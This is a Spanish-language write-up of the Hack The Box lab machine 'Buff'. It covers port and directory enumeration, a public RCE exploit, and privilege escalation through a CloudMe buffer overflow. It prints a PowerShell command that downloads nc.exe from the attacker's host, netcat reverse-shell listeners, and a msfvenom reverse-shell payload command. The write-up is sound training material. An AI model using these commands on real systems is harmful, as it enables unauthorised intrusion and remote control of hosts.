Buff - [HTB]

Cover Image for Buff - [HTB]
Marmeus
Marmeus

Table of Contents

    Resumen

    Buff es una máquina Windows de 64 bits, que su solución se basa en la enumeración y en el uso de exploits existentes, tanto para la obtención de la flag user como la flag root.

    Enumeración

    Para empezar, como se hace siempre, utilizamos nmap para mostrar los diferentes servicios de los que dispone esta máquina. El siguiente comando puede tardar un rato, así que no hay que preocuparse.

    kali@kali:$ nmap --open -sV -sC -p- -v 10.10.10.198

    Se han obtenido dos servicios: pando-pub y un servidor web apache. El primer servicio, a través de realizar varias búsquedas en Internet no parece tener un vector de ataque claro. Por lo que se realiza una búsqueda de directorios con gobuster.

    kali@kali:$ gobuster dir -u http://10.10.10.198:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt*

    Obteniendo el siguiente resultado (Debido a la gran cantidad de tiempo que requería, se detuvo el programa):

    Como vemos en la imagen anterior, hay varios directorios entre ellos un phpmyadmin, al cual no podemos acceder porque solo se permite conexiones desde localhost

    No obstante, en el index de la web es un portal de gimnasia o algo por el estilo.

    Investigando por la web, en la sección “Contact” se puede ver cual ha sido el programa empleado para el desarrollo de este portal.

    Buscando en searchsploit, se encuentra un exploit que nos proporciona un RCE.

    Explotación

    Copiamos el exploit en la carpeta, y se procede a su ejecución, conforme se indica en su descripción.

    Lamentablemente este exploit solo nos proporciona ejecutar un comando, perdiendo el estado del anterior. Por lo que no se trata realmente de una shell interactiva. Por lo que se procede a descargar netcat para poder obtener una shell casi como dios manda.

    Primero localizamos “nc.exe” en kali, mediante “locate nc.exe”. Se navega hasta el directorio y se pone un servidor HTTP para poder descargar el archivo.

    Ahora mediante powershell podemos descargar el binario.

    powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.15.101:8000/nc.exe','C:\xampp\htdocs\gym\upload\nc.exe')*

    Finalmente, queda obtener nuestra shell. Para ello, se ha puesto el puerto 4444 a la escucha con netcat en kali.

    kali@kali: rlwrap nc -nlvp 4444

    rlwrap sirve para poder utilizar las flechas del teclado y así poder obtener los comandos que has usado previamente.

    Ahora solo queda conectarse al puerto a la escucha desde windows a través de netcat.

    El parámetro “-e” sirve para transmitir tanto la entrada y la salida del programa que se ejecutac(en este caso cmd.exe) al netcat con el puerto a la escucha en nuestra kali.

    La flag se puede encontrar en “C:\Users\shaun\Desktop\users.txt”.

    Escalada de privilegios

    Mediante la herramienta impacket, se ha creado un servidor samba con la intención de poder ejecutar la herramienta JAWS (Justs Another Windows Enum Script) y así obtener información sobre el equipo victima.

    kali@kali:$ smbserver.py a . -smb2support*
    powershell.exe -ExecutionPolicy Bypass -File \\10.10.15.101\a\winEnum.ps1*

    Lamentablemente, no ha encontrado gran cosa. No obstante, al navegar por los diferentes directorios del usuario “shaun”, existe un programa en la carpeta “Downloads” llamado “CloudMe_1112.exe”. Este programa, al buscar en searchslpoit se han encontrado con un par de exploits asociados, de los cuales se ha empleado el primero.

    Para poder ejecutarlo es necesario crear un payload propio mediante el comando:

    msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.15.101 LPORT=1234 -b "\x00\x0D\x0A" -f python

    El payload resultante es empleado para la modificación de nuestro exploit, dejandolo de la siguiente manear.

    Este exploit es necesario que se ejecute en local, o que al menos los datos enviados se envíen como si se estuviese ejecutando en local en la máquina Windows. En este write-up se ha optado por la ejecución del exploit en local. Para ello, es necesario transformar el archivo ce.py en ce.exe a través de la herramienta pyinstaller. Es necesario decir, que pyinstaller no tiene soporte para compilado entre plataformas, por lo que se necesita de una máquina Windows para poder convertir el exploit a ce.exe. No obstante, siguiendo este tutorial y gracias a wine, desde kali se puede compilar.

    El comando para compilar el exploit es el siguiente:

    wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile ce.py 

    El “ce.exe” esta almacenado en la carpeta “dist/” que se ha generado, después de ejecutar el anterior comando.

    Finalmente, solo queda poner el puerto empleado en nuestro payload a la escucha mediante netcat, copiar el exploit a la máquina Windows y ejecutarlo.

    Si miramos ahora el netcat que se encontraba a la escucha ya tendríamos nuestra shell con los privilegios escalados, y por tanto podemos conseguir la flag.